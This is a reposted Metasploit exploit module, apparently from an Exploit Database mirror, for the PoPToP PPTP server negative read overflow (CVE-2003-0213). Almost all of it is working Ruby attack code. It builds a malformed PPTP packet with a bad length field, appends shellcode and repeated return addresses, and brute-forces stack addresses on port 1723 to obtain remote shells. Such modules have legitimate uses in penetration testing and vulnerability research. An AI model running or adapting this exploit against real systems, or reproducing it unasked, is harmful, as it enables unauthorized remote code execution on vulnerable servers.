PoPToP – Negative Read Overflow (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2010-11-23
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16845/

• ##
  # $Id: poptop_negative_read.rb 11114 2010-11-23 18:12:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Poptop Negative Read Overflow',
  			'Description'=> %q{
  					This is an exploit for the Poptop negative read overflow.This will
  				work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
  				currently do not have a good way to detect Poptop versions.
  
  				The server will by default only allow 4 concurrent manager processes
  				(what we run our code in), so you could have a max of 4 shells at once.
  
  				Using the current method of exploitation, our socket will be closed
  				before we have the ability to run code, preventing the use of Findsock.
  			},
  			'Author' => 'spoonm',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11114 $',
  			'References' =>
  				[
  					['CVE', '2003-0213'],
  					['OSVDB', '3293'],
  					['URL', 'http://securityfocus.com/archive/1/317995'],
  					['URL', 'http://www.freewebs.com/blightninjas/'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					# Payload space is dynamically determined
  					'MinNops' => 16,
  					'StackAdjustment' => -1088,
  					'Compat'=>
  						{
  							'ConnectionType' => '-find',
  						}
  				},
  			'SaveRegisters'=> [ 'esp' ],
  			'Platform' => 'linux',
  			'Arch' => ARCH_X86,
  			'Targets'=>
  				[
  					['Linux Bruteforce',
  						{ 'Bruteforce' =>
  							{
  								'Start'=> { 'Ret' => 0xbffffa00 },
  								'Stop' => { 'Ret' => 0xbffff000 },
  								'Step' => 0
  							}
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Apr 9 2003'))
  
  		register_options(
  			[
  				Opt::RPORT(1723)
  			], self.class)
  
  		register_advanced_options(
  			[
  				OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.Affects PayloadSpace.", 220 ]),
  				OptInt.new("RetLength", [ true, "Length of returns after payload.", 32 ]),
  				OptInt.new("ExtraSpace",[ true, "The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows).I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
  				OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]),
  				OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
  			], self.class)
  	end
  
  	# Dynamic payload space calculation
  	def payload_space(explicit_target = nil)
  		datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
  	end
  
  	def build_packet(length)
  		[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
  			[1,0].pack('cc') +
  			[0].pack('n') +
  			[1,1,0,2600].pack('NNnn') +
  			datastore['Hostname'].ljust(64, "\x00") +
  			datastore['Vendor'].ljust(64, "\x00")
  	end
  
  	def check
  		connect
  		sock.put(build_packet(156))
  		res = sock.get_once
  
  		if res and res =~ /MoretonBay/
  			return CheckCode::Detected
  		end
  
  		return CheckCode::Safe
  	end
  
  	def brute_exploit(addrs)
  		connect
  
  		print_status("Trying #{"%.8x" % addrs['Ret']}...")
  
  		# Construct the evil length packet
  		packet =
  			build_packet(1) +
  			payload.encoded +
  			([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
  
  		sock.put(packet)
  
  		handler
  		disconnect
  	end
  
  end